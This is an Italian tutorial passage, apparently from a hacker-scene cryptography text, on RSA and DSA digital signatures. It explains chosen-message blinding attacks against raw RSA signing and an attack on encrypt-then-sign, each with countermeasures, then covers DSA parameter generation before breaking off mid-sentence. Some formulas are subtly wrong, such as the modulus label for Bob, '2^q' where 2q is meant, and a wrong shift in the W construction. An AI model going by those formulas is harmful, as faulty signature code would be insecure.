QUESTE BRUTTE FIGURE *** | | ========================================= | | | | Se c'e' la possibilita' di condividere a priori una qualche informazione | | segreta con il vostro interlocutore, abbiamo gia' visto che il metodo | | piu' semplice ed efficace consiste nell'utilizzare protocolli di | | autenticazione tramite funzioni hashing: in pratica il vostro | | interlocutore vi dimostra in qualche modo di conoscere | | quell'informazione SENZA rivelarvela. E' un po' quello che succede | | quando telefonate a un vostro amico e gli dite "la roba e' in quel posto | | che ti dicevo ieri": in questo caso quel "posto" e' l'informazione | | segreta a priori che condividete col vostro interlocutore. | | | | Ma come avrete capito ci sono casi in cui la cosa e' inattuabile, ad | | esempio vogliamo verificare da remoto l'identita' di una persona (o di | | un sistema) con la quale non condividiamo segreti comuni, non l'abbiamo | | mai incontrata di persona, o ci siamo scambiati informazioni solo | | tramite canali insicuri (IRC, posta convenzionale, locale affollato | | etc...). In questo caso, se abbiamo la possibilita' di usare un normale | | protocollo di crittografia asimmetrica, ci viene in aiuto la firma | | digitale vera e propria. | | | | La cosa consiste in questo: noi non condividiamo informazioni segrete | | col nostro interlocutore, pero' abbiamo la sua chiave pubblica | | (reperibile liberamente). E sappiamo che a quella chiave pubblica | | corrisponde una e una sola chiave privata, che noi non conosciamo ma | | sappiamo che il nostro interlocutore conosce. Ora: per verificare | | l'identita' del nostro interlocutore e' sufficiente che questo ci | | dimostri in qualche modo di avere la chiave privata corrispondente. Il | | modo in cui cio' avviene cambia a seconda dell'algoritmo di crittografia | | asimmetrica utilizzato: nel caso dell'RSA ad esempio l'algoritmo di | | firma e' l'RSA stesso, nel caso del DH invece si implementano nuovi | | algoritmi, tra i quali i piu' usati sono il DSA e ElGamal. | | Vediamone alcuni. | | | | | | | | =========================== | | *** FIRME BASATE SU RSA *** | | =========================== | | | | L'RSA puo' essere usato anche per la generazione e verifica di firme | | elettroniche. Cio' deriva dal fatto che, matematicamente parlando, le | | due chiavi pubblica e privata di questo sistema sono i parametri di due | | funzioni biunivoche che sono l'una inversa dell'altra. Infatti i due | | esponenti pubblico e privato sono gli unici parametri "Z" che cambiano | | nell'espressione di una funzione del tipo: | | | | y = x ^ Z (mod M) | | | | dove M e' costante. In pratica, come avevamo detto, l'RSA e' nella sua | | forma base una funzione modulare invertibile. | | | | Cio' implica che, se "e" e "d" sono rispettivamente l'esponente pubblico | | e privato, l'inversa della funzione: | | | | y = x ^ e (mod M) | | | | e' unica ed e' la funzione: | | | | x = y ^ d (mod M) | | | | Ma attenzione. | | | | Cio' implica anche e NECESSARIAMENTE che l'inversa della funzione: | | | | y = x ^ d (mod M) | | | | e' unica ed e' la funzione: | | | | x = y ^ e (mod M) | | | | Queste due ultime scritture indicano quindi che sarebbe teoricamente | | possibile usare l'esponente segreto "d", normalmente usato per la | | decrittazione, per CRITTARE un messaggio, e il corrispondente esponente | | pubblico "e" per DECRITTARE tale messaggio. | | | | e la cosa ha qualche utilita'? | | | | La cosa non ha utilita' per la crittazione vera e propria naturalmente | | (a meno che non abbiate intenzione di crittare un messaggio diretto a | | voi stessi e tale che chiunque possa leggerlo :) ), ma serve per la | | firma digitale. In pratica io posso usare la mia chiave privata per | | crittare un messaggio e spedirlo al mio interlocutore. Se questo, usando | | la mia chiave pubblica, riesce a decrittarlo correttamente, allora sa | | che il messaggio e' stato effettivamente crittato con la mia chiave | | privata. Sono cosi' riuscito a dimostrare al mio interlocutore che | | posseggo la mia chiave privata SENZA rivelargliela, in questo modo il | | mio interlocutore sa che sta effettivamente parlando con me e non con | | altri. | | | | Nella pratica, se io voglio firmare un messaggio "m" cosi' che chiunque | | abbia la mia chiave pubblica possa verificarne l'autenticita': | | | | - calcolo "MD" = HASH(m) con una funzione hashing | | - piglio la mia chiave privata e calcolo "y" = MD^d (mod M) | | - allego "y" (che e' la firma) al messaggio "m" | | | | In teoria potrei passare anche direttamente m, e non MD, alla funzione | | RSA, cioe' in pratica firmare il messaggio e non l'hash del messaggio, | | ma in pratica ci sono buone ragioni per usare una funzione di hashing. | | La prima e' che il messaggio non e' di lunghezza standard, puo' essere | | lungo anche svariati MB, cio' comporterebbe una segmentazione e un | | processo di firma a cascata molto onerosi in termini di tempo (quel | | discorso che si faceva al cap.7 a proposito della bulk encryption). La | | seconda e' che, come vedremo, molti attacchi contro il protocollo di | | firma RSA non sono attuabili se ad essere firmato e' MD e non m stesso. | | Anche qui e' importante paddare MD con bit pseudorandom per fare in modo | | che sia maggiore della radice d-esima di M (visto che "d" e' molto | | grande spesso non ci sara' nemmeno bisogno di fare questo padding), | | altrimenti dalla firma e dal messaggio si puo' ottenere la chiave | | privata analogamente al Low Encryption Exponent Attack RSA. | | | | Il mio interlocutore quindi riceve il messaggio con allegata la firma, | | ora deve verificare che tale firma sia autentica: | | | | - estrae dalla mia chiave pubblica (conosciuta) | | il mio esponente pubblico "e" e il mio modulo "M" | | - calcola "x" = y^e (mod M) | | - calcola "MD" = HASH(m) con la stessa funzione hash da me usata | | precedentemente | | - se MD = x la firma e' autentica, altrimenti no | | | | In questo modo disponiamo di un metodo semplice ed efficace per | | verificare l'identita' di un interlocutore remoto oltre che | | l'autenticita' di un messaggio | | | | | | | | *** CHOSEN PLAINTEXT ATTACK CONTRO LA FIRMA RSA *** | | | | [Attacco 1] | | | | Eve intercetta un messaggio cifrato "c" diretto ad Alice, crittato con | | la chiave pubblica RSA di Alice, e vuole tentare questo attacco per | | leggere il contenuto del messaggio. Matematicamente, lei vuole "m", | | dove: | | | | m = c^d (mod M) | | | | Eve dapprima sceglie un valore random, "r", minore del modulo M, poi si | | procura l'esponente pubblico di Alice "e". Quindi calcola: | | | | x = r^e (mod M) | | | | y = x*c (mod M) | | | | t = r^(-1) (mod M) | | | | con l'EEA. Da notare che di conseguenza sara' anche: | | | | x^d = r (mod M) | | | | Ora un po' di social engineering: Eve convince Alice con qualche trucco | | a firmare y con la sua chiave privata. Alice cioe' calcola: | | | | u = y^d (mod M) | | | | Se Alice casca nella trappola rispedisce u a Eve, che ora puo' | | calcolare: | | | | t*u (mod M) = | | | | = r^(-1) * y^d (mod M) = | | | | = r^(-1) * x^d * c^d (mod M) = | | | | = r^(-1) * r * c^d (mod M) = | | | | = c^d (mod M) = m | | | | e quindi ha ottenuto m. | | Se Alice si rifiuta di firmare y (che dopotutto non ha mai visto in vita | | sua) l'attacco fallisce. L'attacco fallisce anche nel caso che Alice non | | firmi direttamente y, bensi' l'hash di y. | | | | | | | | [Attacco 2] | | | | Bob e' un "notaio informatico", cioe' se Alice vuole autenticare un | | documento lo spedisce a Bob, questi lo firma con la sua chiave RSA e lo | | manda indietro. L'autenticita' di messaggi firmati in questo modo e' | | assicurata dall'autorita' di Bob, il quale mette a disposizione di tutti | | la sua chiave pubblica. | | Eve vuole far firmare a Bob un documento "fraido", cioe' che Bob in | | condizioni normali si rifiuterebbe di firmare. Potrebbe essere una falsa | | dichiarazione dei redditi, un contratto oneroso per Bob o qualsiasi | | altra cosa, non ha importanza, quello che ha importanza e' che Bob non | | firmerebbe mai il messaggio se avesse scelta. Chiamiamo questo messaggio | | "m'". | | Innanzitutto Eve sceglie un valore arbitrario "x" e calcola: | | | | y = x^e (mod M) | | | | dove e ed M sono i parametri della chiave pubblica di Bob. Poi calcola: | | | | m = y*m' (mod M) | | | | e manda "m" a Bob. Bob firma e restituisce quindi: | | | | m^d (mod M) | | | | Che e' la firma di "m", ma questa firma e' in realta': | | | | m^d = y^d * m'^d = x^e^d * m'^d = x * m'^d (mod M) | | | | quindi Eve non deve fare altro che calcolare x^(-1) per trovare: | | | | x^(-1) * x * m'^d (mod M) = m'^d (mod M) | | | | che e' proprio la firma del messaggio "fraido". | | Anche in questo caso, se Bob si rifiuta di firmare o firma gli hash dei | | messaggi invece dei messaggi stessi l'attacco fallisce. Firmare gli hash | | dei messaggi ha anche altri due vantaggi: il primo e', come nell'esempio | | delle blind signatures con funzioni hashing, che Bob non ha bisogno di | | conoscere il contenuto del messaggio, a tutto vantaggio della privacy. | | Il secondo e' che Bob, conoscendo solo l'hash dei messaggi, non e' | | responsabile del loro contenuto: egli cioe' certifica solo la validita' | | di un certo valore hash, ma se poi il messaggio originale si rivelasse | | in qualche modo dannoso o illecito, egli non potrebbe essere accusato di | | complicita' o di non-vigilanza, poiche' dal valore hash non si puo' | | risalire al messaggio. | | | | | | | | [Attacco 3] | | | | Eve vuole far firmare ad Alice un messaggio "m" che Alice non | | firmerebbe. Eve allora genera due messaggi, "m1" ed "m2" tali che: | | | | m = m1 * m2 (mod M) | | | | Ora, se Eve riesce a convincere Alice a firmare m1 ed m2, lei puo' | | calcolare la firma di m: | | | | m^d = m1^d * m2^d (mod M) | | | | Da notare che in questo caso firmare gli hash dei messaggi invece che i | | messaggi NON PROTEGGE da questo attacco: a Eve basta generare l'hash di | | m, chiamiamolo "h". Poi Eve fattorizza h. Fattorizzare h non e' affatto | | un compito difficile, primo perche' non e', in genere, un numero | | composto da pochi grandi primi, secondo perche' e' di piccole | | dimensioni. Con questa fattorizzazione Eve produce due valori, h1 e h2 | | tali che: | | | | h = h1 * h2 (mod M) | | | | quindi invia h1 e h2 ad Alice spacciandoli per veri valori hash di | | messaggi realmente esistenti, ripete il giochetto di cui sopra e ottiene | | la firma di h, cioe' dell'hash del messaggio fraido. L'attacco in questo | | caso fallisce se Alice si rifiuta di firmare un semplice hash e pretende | | di vedere anche il messaggio che ha prodotto tale hash (Eve non | | riuscirebbe a generare due messaggi tali che i loro hash siano h1 e h2), | | ma la cosa come abbiamo gia' detto in condizioni normali ad Alice non | | converrebbe, quindi e' improbabile che cio' si verifichi. | | Un modo valido (forse l'unico) di difendersi da questo attacco e' quello | | di modificare, prima di firmarli, i valori hash che ci vengono | | presentati, ad esempio appendendo a questi hash una timestamp (se ci | | fate caso infatti, quando andate a verificare col PGP la firma di un | | documento vi appare scritta del tipo "signed by (user) - key | | (fingerprint) on (data e ora), perche' nella firma c'e' anche la | | timestamp). Non solo: un attacker particolarmente scaltro potrebbe | | prevedere in qualche modo l'ora esatta in cui firmerete il messaggio, | | regolandosi di conseguenza. Allora per vanificare l'attacco basta | | aggiungere un "pezzo" di dati random al messaggio, dati che non andranno | | considerati nel momento della lettura del messaggio, qualcosa del tipo: | | "Questa frase e i caratteri successivi vengano ignorati. | | lrw9hgk488ce80?s" (lasciamo perdere le implicazioni filosofiche dovute | | al paradosso). | | | | | | | | [Morale] | | | | - non bisogna mai firmare i messaggi stessi, bensi' i loro hash | | | | - possibilmente (se non siete "notai informatici") non bisogna | | mai firmare documenti che vi vengono presentati da terze parti | | | | - se proprio dovete farlo bisogna appendere una timestamp o dati | | random al messaggio | | | | Applicazioni professionali quali PGP adottano la prima e la terza | | precauzione, adottare la seconda (solo per veri paranoici) e' compito | | dell'utente. | | Tutti questi attacchi che abbiamo visto sfruttano una debolezza | | intrinseca della matematica su cui si basa l'RSA, cioe' che | | l'esponenziazione (anche quella discreta) mantiene la struttura | | moltiplicativa dell'input. Ovvero, per ogni x,m,d: | | | | (x*m)^d = x^d * m^d (mod M) | | | | Non esiste un modo per evitarlo, ma le precauzioni citate sono | | sufficienti a proteggere il crittosistema. | | | | | | | | *** ATTACCHI SUL PROTOCOLLO DI FIRMA E CRITTAZIONE RSA *** | | | | Come gia' anticipato e' cosa buona e giusta firmare un messaggio PRIMA | | di crittarlo, ma non tutti seguono questo consiglio. Se si utilizza | | l'RSA c'e' un attacco piuttosto insidioso contro protocolli che | | effettuano la crittazione prima della firma, vediamolo. | | | | Alice invia un messaggio a Bob, ma siccome non ha letto CODiCE iNVERSO | | :P firma il messaggio DOPO averlo gia' crittato: prima lo critta con la | | chiave pubblica di Bob e poi lo firma con la sua chiave privata (di | | Alice). Utilizzando, per il caso particolare, questa simbologia: | | | | eA = esponente pubblico di Alice | | dA = esponente segreto di Alice | | nA = modulo di Alice | | eB = esponente pubblico di Bob | | dB = esponente segreto di Bob | | nB = modulo di Alice | | m = messaggio originale | | | | avremo che il messaggio crittato e firmato da Alice sara' qualcosa del | | tipo: | | | | (m^eB Mod nB)^dA Mod nA | | | | Ora vediamo come Bob, che riceve questo messaggio, puo' dimostrare che | | Alice non ha firmato il messaggio "m", bensi' "m'". Tutto cio' che deve | | fare e' trovare una x tale che: | | | | m'^x = m (Mod nB) | | | | cosa che Bob puo' fare grazie al fatto che conosce la fattorizzazione di | | nB (dopotutto e' il suo modulo). In questo modo si ha che: | | | | m^eB = (m'^x)^eB = m'^(x*eB) (mod nB) | | | | e se Bob puo' in qualche modo "revocare" il suo vecchio esponente di | | crittazione eB e sostituirlo con x*eB, ecco che puo' dimostrare che | | Alice ha firmato m', e non m. Questo attacco e' particolarmente | | insidioso in alcune circostanze. Usare le funzioni hash non risolve il | | problema, ma usare lo stesso esponente di crittazione per tutti gli | | utenti ne complica l'attuazione. | | | | | | | | [Morale] | | | | - crittate i messaggi solo DOPO averli firmati (se usate l'opzione del | | PGP "encrypt and sign" o similari le operazioni verranno fatte nel | | giusto ordine automaticamente). | | | | - non generate casualmente gli esponenti di crittazione, ma sceglieteli | | accuratamente, questo anche come avevamo gia' visto per velocizzare le | | operazioni (il PGP infatti avevo gia' accennato che usa 17 come | | default), meglio ancora se l'esponente di crittazione e' fisso nel | | crittosistema. | | | | | | | | *** CONSIDERAZIONI FINALI SULL'RSA *** | | | | Di nuovo potete constatare che l'RSA e' un algoritmo molto versatile ma | | ha bisogno di molti accorgimenti per mantenere la sua sicurezza, e' come | | avevamo gia' detto un algoritmo "da esperti". Analizziamone alcuni pregi | | e difetti. | | | | Innanzitutto la dimensione della firma allegata ai messaggi: da questo | | punto di vista l'RSA non e' molto buono, la firma e' della stessa | | dimensione del modulo, cioe' fino a 2048 bit. Un discreto malloppo per | | un'intensa autenticazione client-server ad esempio, ma trascurabile | | nell'autenticazione di documenti o posta elettronica. | | | | Di contro ha il vantaggio che i parametri per la verifica della firma | | sono gli stessi contenuti nella chiave pubblica: le chiavi pubbliche RSA | | sono piuttosto compatte, e di poco piu' grandi della dimensione del | | modulo (contrariamente, ad esempio, alle DH/DSS). | | | | Inoltre, proprio per il motivo che le operazioni di firma, verifica, | | crittazione e decrittazione sono funzionalmente uguali, possono essere | | eseguite tutte con la medesima routine riducendo la dimensione del | | codice e lo spazio occupato in memoria (in software) o con lo stesso | | chip riducendo il costo del supporto (in hardware). | | | | La generazione dei parametri e' parallela a quella della generazione | | delle chiavi RSA, che e' abbastanza lenta, anche se non esasperatamente. | | Per quanto riguarda la velocita' complessiva dell'algoritmo, abbiamo | | gia' detto che cambia molto a seconda se si usa l'esponente pubblico | | (piccolo e studiato per velocizzare le operazioni) o quello segreto | | (pseudorandom e di dimensione simile a quella del modulo). Le operazioni | | di crittazione e di verifica della firma sono infatti velocissime, tra | | le piu' rapide nella crittografia asimmetrica, mentre quelle di | | decrittazione e di firma sono alquanto lente, a seconda della dimensione | | del modulo. | | | | La considerazione piu'importante riguarda la sicurezza. Allo stato | | attuale dell'arte - premesso che si prendano tutte le considerazioni | | sopra citate - l'RSA e' sicuramente uno dei sistemi di firma digitale | | piu' sicuri. Intanto perche' la sua sicurezza deriva principalmente | | dalla dimensione del modulo (che puo' arrivare nelle normali | | applicazioni fino a 2048 bit), e poi perche' in confronto al secondo | | algoritmo piu' usato per la firma (il DSA) presenta il grosso vantaggio | | di non avere canali subliminali "bastardi" (poi vediamo cosa significa). | | | | | | | | =============== | | *** DSA/DSS *** | | =============== | | | | Il DSA (Digital Signature Algorithm) e' l'algoritmo usato nel DSS | | (Digital Signature Standard), spesso si fa confusione: l'algoritmo e' il | | DSA, il DSS e' l'implementazione del DSA in un protocollo di firma | | elettronica elaborato dal NIST. L'algoritmo venne presentato dal NIST | | nell'agosto 1991 appunto come fase finale per la messa a punto del nuovo | | standard DSS, ma il perche' si sia voluto mettere in giro un nuovo | | sistema di firma (quando c'era gia' in giro l'efficientissimo RSA) e' un | | discorso che merita di essere approfondito. | | Dovete infatti sapere che il NIST fu letteralmente bombardato di | | critiche da tutte le parti in gioco per questo nuovo standard, ma | | purtroppo la maggior parte delle critiche furono piu' che altro dettate | | da ragioni di mercato. | | Diciamo subito che l'algoritmo DSA in quanto standard federale e' | | patentato "royalty-free", cioe' non c'e' bisogno di brevetto per | | utilizzarlo. Questo ha cozzato innanzitutto contro gli interessi | | dell'RSA data Security Inc., che con il brevetto RSA fa miliardi a | | palate da sempre. Dal 1982 il governo USA stava premendo perche' si | | adottasse un nuovo standard di firma, ma nessuno si era fatto sentire | | per nove anni, cosi' nel frattempo tutte le grandi multinazionali (per | | citarne alcune: IBM, Apple, Lotus, Northern Telecom, Microsoft, | | Motorola) si erano da tempo organizzate per uniformarsi all'RSA - | | pagando fior di quattrini per le licenze. E quindi queste aziende | | avevano tutto l'interesse a non veder andati in fumo i loro | | investimenti. Una grossa campagna di protesta fu sollevata dall'RSA per | | le voci secondo le quali il DSS sarebbe stato implementato con un modulo | | pubblico per tutti gli utenti, cosa che secondo loro avrebbe permesso al | | governo di falsificare firme. Quando lo standard usci' senza questo | | fantomatico modulo si cercarono altri fronti su cui attaccare. | | Ma non c'era, fortunatamente, solo questo tipo di critiche, alcune | | furono anche costruttive, vediamone alcune (traduco in parte da "Applied | | Cryptography"): | | | | 1) Il DSA non puo' essere usato per crittazione o scambio di chiavi. | | Questo e' vero ma non e' lo scopo per cui il DSA era stato progettato, | | quindi le critiche in questa direzione sono abbastanza stupide: il DSA | | e' stato progettato per l'implementazione in uno standard di FIRMA. E' | | comunque vero che il NIST sta facendo una gran bastardata a definire uno | | standard per la firma MA NON uno per la crittazione... La verita' e' che | | al Governo fa comodo un sistema per la firma ma non uno per la | | protezione della privacy. Anche considerato che in realta' ci sarebbe un | | trucco abbastanza masochistico per usare il DSA ANCHE per la | | crittazione. | | | | 2) Il DSA e' piu' lento dell'RSA. | | Vero anche questo, piu' o meno. La velocita' di firma e' | | approssimativamente la stessa, ma la verifica della firma puo' essere da | | 10 a 40 volte piu' lenta (consideriamo pero' che la velocita' di | | verifica della firma dell'RSA e' semplicemente assurda). In compenso la | | generazione delle chiavi e' piu' veloce, ma quello conta ben poco dato | | che e' un'operazione che va fatta una sola volta. | | | | 3) Il DSA puo' infrangere i copyright di altri brevetti. | | Questa critica e' seria e in effetti ci sono altri algoritmi brevettati | | che funzionano in maniera simile. In realta' e' stato scoperto in | | seguito che la maggior parte degli algoritmi per la firma in | | circolazione sono tutti estrapolati da uno schema comune, uno | | "scheletro" di base che puo' essere modificato per produrre sistemi di | | firma apparentemente diversi. E siccome questo "scheletro" di base non | | e' brevettato, non ha senso mettersi a disquisire sulle patenti dei | | sistemi derivati da esso. | | | | 4) La dimensione del modulo e' troppo piccola. | | Questa e' la vera critica che puo' essere mossa al DSA. All'inizio il | | NIST propose un sistema con modulo di 512 bit, che fu presto portato a | | 1024 viste le reazioni del pubblico, dimensione che ritroviamo tutt'oggi | | nelle odierne applicazioni. 1024 bit cominciano ad essere non dico | | pochini, ma non tranquillizzanti, da questo punto di vista molto meglio | | l'RSA che puo' arrivare a 2048. | | | | Ma adesso attenzione perche' c'e' un'altra critica mooolto interessante: | | | | 5) Il processo di selezione del DSS non e' stato pubblico. | | E questo contrariamente a quanto succede di solito (vedi selezione | | dell'AES - Rijndael). In pratica nessuno sapeva da dove venisse questo | | sistema. All'inizio il NIST affermo' che il DSS era di loro | | progettazione. Ma poi trapelo' qualcosa e il NIST disse che in effetti | | l'NSA li aveva aiutati nella realizzazione. Infine il NIST ammise che in | | realta' era stata l'NSA a progettare l'algoritmo. | | | | E QUI CI CASCA L'ASINO. | | | | Parzialmente vero infatti. L'NSA non ispira fiducia, ma ricordiamoci che | | le prime critiche che vennero da questo fronte erano paranoie infondate. | | La piu' stupida considerazione era che l'algoritmo avrebbe potuto essere | | "craccato" dall'NSA. Il fatto che un'algoritmo venga "craccato" implica | | in qualche modo che chi lo cracca riesca a leggere il contenuto del | | cyphertext, ma il DSS e' un'algoritmo di FIRMA, che mazza di cyphertext | | vuoi andare a decrittare?! Dopotutto l'NSA o agenzie governative in | | generale avrebbero si' interesse a diffondere un crittosistema insicuro | | (vedi Skipjack), ma hanno altresi' tutto l'interesse a promuovere degli | | standard di firma validi - che, dal loro punto di vista, sono pur sempre | | un sistema di controllo. E comunque l'algoritmo e' pubblico ed e' stato | | analizzato a fondo, non sono state finora trovate delle backdoor che | | potrebbero permettere di forgiare firme fasulle. | | | | Ma e' stato trovato qualcos'altro... | | | | | | | | *** FUNZIONAMENTO DEL DSA *** | | | | L'algoritmo fa uso di parametri di dominio, che possono essere in comune | | ad un gruppo di utenti senza inficiarne la sicurezza (un po' come nel | | DH). Poi si divide in tre fasi: la generazione delle chiavi, la firma e | | la verifica della firma. Fa anche uso di una hash function, che nello | | standard DSS si specifica essere lo SHA. La sua sicurezza deriva dal | | problema dei logaritmi discreti. | | | | [ Generazione dei parametri di dominio ] | | | | 1 - Genera un numero primo "p" molto grosso (il DSS specifica | | 1024 bit), la cui lunghezza in bit sia multipla di 64. | | Fortemente consigliato un "DH-prime", cioe' tale che | | (p - 1) / 2 sia ancora primo (lo stesso tipo di numeri usati | | nel Diffie-Hellmann, per resistere all'attacco di | | Pohlig-Hellmann) | | 2 - Genera un secondo numero primo "q" (DSS specifica 160 bit), | | con la proprieta' che q | (p- 1) (il simbolo "|" sta per "e' | | divisore di"), cioe' in pratica: (p - 1) = q * z, z numero | | qualsiasi | | 3 - Seleziona un numero qualsiasi "h" appartenente | | all'intervallo [1, p - 1] (h appartenente a GF(p) e diverso | | da 0) e calcola "g" = h^z (mod p) | | 4 - Ripeti il passo 3 finche' g != 1 (g non deve essere 1) | | 5 - I parametri di dominio sono (p, q, g). | | | | | | [ Generazione delle chiavi ] | | | | 1 - Scegli un elemento random "x" appartenente | | all'intervallo [1, q - 1] | | 2 - Calcola "y" = g^x (mod p) | | 3 - La chiave pubblica e' (y), la chiave privata e' (x). | | | | | | [ Generazione della firma ] | | Indichiamo il messaggio da firmare con "m". | | | | 1 - Scegli un numero random k appartenente a [1, q - 1] | | (k appartiene a GF(q) e diverso da 0) | | 2 - Calcola "X" = g^k Mod p e "r" = X Mod q. | | Se r = 0 torna al passo 1 (r non deve essere 0) | | 3 - Calcola "e" = HASH(m) (con lo SHA) | | 4 - Calcola k^(-1) (mod q) | | 5 - Calcola "s" = (k^(-1) * (e + x * r)) Mod q. | | Se s = 0 torna al passo 1 | | 6 - La firma del messaggio m e' la coppia (r, s). | | | | | | [ Verifica della firma ] | | | | 1 - Verifica che r ed s appartengano a [1, q - 1] | | 2 - Calcola e = HASH(m) (con lo SHA) | | 3 - Calcola "w" = s^(-1) (mod q) | | 4 - Calcola "u_1" = e * w (mod q) e "u_2" = r * w (mod q) | | 5 - Calcola X = (g^u_1 * y^u_2) (mod p) e "v" = X Mod q | | 6 - La firma e' valida se e solo se v = r. | | | | La chiave pubblica DSS e' formata da (p, q, g, y), quella | | privata da (p, q, g, x). | | | | ok, lo piglio per dogma... | | | | La matematica per capire a fondo il funzionamento del DSA non e' molto | | di piu' di quel che abbiamo fatto finora, ma per dimostrare alcuni | | passaggi servirebbe un po' di tempo, motivo per cui io daro' una | | dimostrazione solo approssimata del perche' l'algoritmo funziona. | | In particolare tralasciamo il campo su cui stiamo lavorando, cioe' non | | specifichiamo se le variabili appartengono a GF(p) o a GF(q) (in effetti | | i parametri di dominio sono scelti in modo che la cosa e' indifferente | | nelle prossime equazioni). | | | | Bisogna verificare che se io sono il possessore della chiave privata (p, | | q, g, x) e conosco il numero k generato per l'occasione allo scopo di | | firmare il messaggio m, allora l'equazione di verifica della firma e' | | vera, cioe': | | | | v = r | | | | Per verificarlo basta risalire a ritroso nelle definizioni delle | | variabili e svolgere i calcoli, per ottenere una lettura piu' facile | | usero' la notazione frazionaria invece degli inversi, cioe': | | | | 1 | | A^(-1) = - | | A | | | | che e' equivalente nel caso dei campi finiti, come mostra la seguente: | | | | 1 | | A^(-1) * A = - * A = 1 (mod M) | | A | | | | Allora partiamo dall'equazione da dimostrare, cioe': | | | | v = r | | | | guardando le definizioni di v ed r si ha: | | | | g^u_1 * y^u_2 = g^k | | | | ma y = g^x: | | | | g^u_1 * (g^x)^u_2 = g^k | | | | e, dalle proprieta' delle potenze: | | | | g^u_1 * g^(x * u_2) = g^k | | | | Abbiamo ottenuto un'equazione in cui tutti i termini hanno la stessa | | base g, allora possiamo passare equivalentemente alla forma logaritmica | | in base g: | | | | u_1 + x * u_2 = k | | | | guardando le definizioni di u_1 e u_2: | | | | ew + xrw = k | | | | ma w = s^(-1): | | | | e r | | - + x * - = k | | s s | | | | guardando la definizione di s: | | | | ek xrk | | ------ + ------ = k | | e + xr e + xr | | | | i due addendi a sinistra hanno lo stesso denominatore, quindi sommiamo: | | | | ek + xrk | | -------- = k | | e + xr | | | | mettendo in evidenza k nella frazione: | | | | k * (e + xr) | | ------------ = k | | e + xr | | | | semplificando la frazione: | | | | k = k | | | | L'equazione e' cosi' verificata. Capite da soli che non conoscendo x (la | | chiave privata) o k (parametro random che andra' eliminato alla fine del | | processo) non si puo' generare una firma (r, s) che soddisfi l'algoritmo | | di verifica. | | Da notare che sia r che s sono in modulo q, e q e' lungo 160 bit. Quindi | | le firme DSA sono lunghe soltanto 320 bit, una cosa veramente ottima | | perche' non appesantisce i messaggi. Probabilmente e' in questo che sta | | la vera forza del DSS: in soli 320 bit (contro gli anche 2048 dell'RSA) | | abbiamo la certezza del mittente di un messaggio. | | | | | | *** GENERAZIONE DEI NUMERI PRIMI NEL DSA *** | | | | E' stato notato da Lenstra ed Haber, due ricercatori, che alcuni moduli | | nel DSA rendono molto piu' facile la crittanalisi. Questo non puo' | | essere un problema accidentale: primo perche' questi numeri sono facili | | da individuare, secondo perche' le possibilita' di beccarne casualmente | | uno sono piu' basse delle possibilita' di beccare un numero composito | | con un test di primalita'. Il vero problema viene a crearsi nel momento | | in cui una qualche autorita' costringesse un network di utenti ad usare | | uno di questi moduli "taroccati". | | Il NIST ha raccomandato allora l'uso di uno standard per la generazione | | di questi parametri che permette a chiunque di assicurarne la | | "genuinita'". Il punto e': nel DSA i numeri primi non hanno bisogno di | | restare segreti come nell'RSA, tutto cio' che bisogna fare e' dimostrare | | a chi riceve la nostra chiave pubblica che "p" e "q" sono stati generati | | in maniera random, e non tramite un processo di pilotazione. Ecco come | | fare: | | | | p deve essere un numero primo di lunghezza "L" bit, dove L e' multiplo | | di 64 e compreso tra 512 e 1024 (il DSS specifica 1024). | | q e' lungo 160 bit. | | "n" e "b" sono due numeri tali che: (L - 1) = 160 * n + b, dove b e' | | minore di 160 | | | | 1 - Scegli "S", una sequenza random di lunghezza "j" bit (almeno 160) | | 2 - Calcola "U" = SHA(S) ^^ SHA((S + 1) Mod 2^j) | | 3 - Setta ad 1 il bit high-end e quello low-end di U | | 4 - Fai un test di primalita' su quel che hai ottenuto | | Se e' primo allora questo e' q, altrimenti torna la passo 1 | | 5 - setta le variabili: "C" = 0 e "N" = 2, "V" e' un array | | 6 - for k = 0 to n: V[k] = SHA((S + N + k) Mod 2^j) | | 7 - forma l'intero "W" in questo modo: | | | | W = V[0] + 2^160 * V[1] + 2^(160 * 2) * V[2] + ... | | ... + 2^(160 * (n - 1)) * V[n - 1] + 2^(160 * n) * (V[n] Mod 2^b) | | | | In algoritmo: | | | | W = V[0] | | for i = 1 to (n - 1): | | W = W || (V[i] << (160 * n)) | | next i | | W = W || (V[n] && ((1 << b) - 1)) | | | | 8 - Setta la variabile: "X" = W + 2^(L - 1). Nota che X e' un | | numero di L bit | | 9 - Calcola p = X - (X % 2^q) + 1. In questo modo si ha: p % 2^q = 1 | | 10 - Se p < 2^(L - 1) allora vai al passo 13 | | 11 - Controlla se p e' primo con un test di primalita' | | 12 - Se p e' primo vai al passo 15 | | 13 - Calcola: C = C + 1 e N = N + n + 1 | | 14 - Se C = 4096 torna al passo 1, altrimenti torna al passo 6 | | 15 - Salva nella public-key i valori di S (160 bit minimo) e | | C (12 bit) usati per generare p e q. | | | | La variabile S e' chiamata "seed", la variabile C e' chiamata | | "contatore". | | Lo scopo di tutta questa masochistizzazione e' che c'e' un modo pubblico | | e one-way di generare p e q. Se qualcuno ci da' una chiave pubblica ci | | si potrebbe chiedere da dov'e' che ha cacato fuori p e q. E se fossero | | "moduli taroccati"? In questo modo, allegando alla chiave pubblica anche | | S e C, possiamo ripetere da noi il procedimento appena visto e | | constatare che i due numeri primi sono stati in effetti generati | | casualmente. Infatti l'uso di una funzione one-way come lo SHA impedisce | | di poter generare due moduli a tavolino e di poter in seguito fornire S | | e C validi. Questo tipo di sicurezza e' di gran lunga migliore di quella | | fornita dall'RSA: nell'RSA i numeri primi sono mantenuti segreti. | | Potrebbero esistere dei particolari moduli relativamente facili da | | fattorizzare con algoritmi speciali, che di conseguenza renderebbero | | possibile la forgiatura di firme fasulle, ma senza conoscere i numeri | | primi che generano il modulo non si riuscirebbe mai a scoprirlo. Nel DSA | | invece, il sistema appena visto garantisce la trasparenza del | | procedimento di generazione delle chiavi. | | | | | | | | *** SUBLIMINAL CHANNELS NEL DSA *** | | | | E fin qui dunque tutto bene. Tutto bello, tutto pulito, tutto sicuro. Ma | | che cos'e' allora che non quadra? Che cosa c'e' dunque di tanto oscuro | | che e' stato trovato nel DSA? | | Per capirlo dobbiamo prima parlare di canali subliminali. | | | | | | I canali subliminali non sono come le pubblicita' subliminali, | | cioe' quelle che vedi la pubblicita' della Coca-Cola e siccome | | c'e' un codice nascosto che ti fa il lavaggio del cervello senza | | che te ne accorgi ti viene subito voglia di uscire a comprare la | | Coca-Cola anche se sei morto di fame etc... | | | | | | Un canale subliminale e' una specie di doppio fondo in un baule. E' una | | cosa abbastanza simile a quella che viene normalmente indicata come | | "steganografia" (di cui si parlera' piu' avanti), solo 